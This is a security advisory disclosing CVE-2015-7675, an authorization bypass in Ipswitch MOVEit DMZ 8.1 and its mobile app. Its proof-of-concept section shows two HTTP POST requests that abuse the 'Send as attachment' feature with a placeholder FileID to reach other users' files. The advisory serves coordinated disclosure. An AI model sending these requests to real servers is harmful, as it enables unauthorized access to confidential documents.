Ipswitch MOVEit DMZ 8.1 Authorization Bypass

`Profundis Labs - Security Advisory  
  
Vulnerablity Title  
==================  
A security issue in MOVEit web and mobile application allows for unauthorized access to arbitrary files and documents  
  
Vendor:  
=======  
Ipswitch, Inc (http://www.ipswitchft.com)   
  
Product:  
========  
MOVEit File Transfer  
  
MOVEit is an automated file transfer system that lets you manage, view, secure, and control all business-critical file transfer activity through a single, secure system.  
(Source: http://www.ipswitchft.com/moveit-managed-file-transfer)  
  
Affected Versions:  
==================  
MOVEit DMZ v8.1 and below  
  
Vulnerability Type:  
===================  
Authorization Bypass  
  
CVE Reference:  
==============  
CVE-2015-7675  
  
VENDOR Reference:  
=================  
http://docs.ipswitch.com/MOVEit/DMZ82/ReleaseNotes/MOVEitReleaseNotes82.pdf  
Vendor Reference Number: MIDMZ-6575  
  
Vulnerability Details:  
======================  
It is possible to gain access to arbitrary uploaded files/documents by abusing the feature "Send as attachment".  
  
To exploit this vulnerability, the following information is needed:  
- A valid user account (user session)  
- A valid FileID  
FileIDs can be obtained by vulnerability CVE-2015-7677 (https://profundis-labs.com/advisories/CVE-2015-7677.txt)  
  
PoC code(s):  
============  
Mobile Application:  
  
POST /mobile/sendMsg?1441957507... HTTP/1.1  
Host: <FQDN>:8443  
...  
  
id=&subject=trdt&body=test&toEmailList=<EMAILADRESS>&ccEmailList=&bccEmailList=&isNew=1&messageType=7&serverFileIds=<FILEID>&noReplyAll=0&deliveryReceipt=0&secureBody=true&maxAttachDownloads=5&expireAfterHours=240  
  
Web application:  
  
POST /human.aspx?r=1083532... HTTP/1.1  
Host: <FQDN>  
...  
  
csrftoken=fd31...&transaction=folderfilelistattach&confirm=1&arg01=<FILEID>&arg02=2178...&arg03=&arg04=&arg05=&arg06=2178...&arg07=&arg08=&arg09=&arg10=&arg11=&arg12=filelist  
  
Remark: Values in Brakets are placeholders.  
  
Disclosure Timeline:  
====================  
Vendor Notification: 09/23/2015  
Vendor Confirmation: 09/24/2015  
Vendor Patch Release: 10/20/2015   
Public Disclosure: 01/27/2016  
  
Severity Level:  
===============  
6.5 (Medium)   
CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N  
  
Description:  
============  
Request Method(s): [+] HTTP POST  
  
Vulnerable Product: [+] MOVEit DMZ v8.1  
MOVEit Mobile (v1.2.0.962)  
  
Vulnerable Parameter(s): [+] FILEID   
  
Authentication (Role): [+] User, Guest Access  
  
===========================================================  
[+] Author: Philipp Rocholl  
  
[+] Website: https://www.profundis-labs.com  
  
[+] Source: https://profundis-labs.com/advisories/CVE-2015-7675.txt  
  
[+] Disclaimer  
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given.   
Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author.  
The author is not responsible for any misuse of the information contained herein and prohibits any malicious use of security related information.  
  
`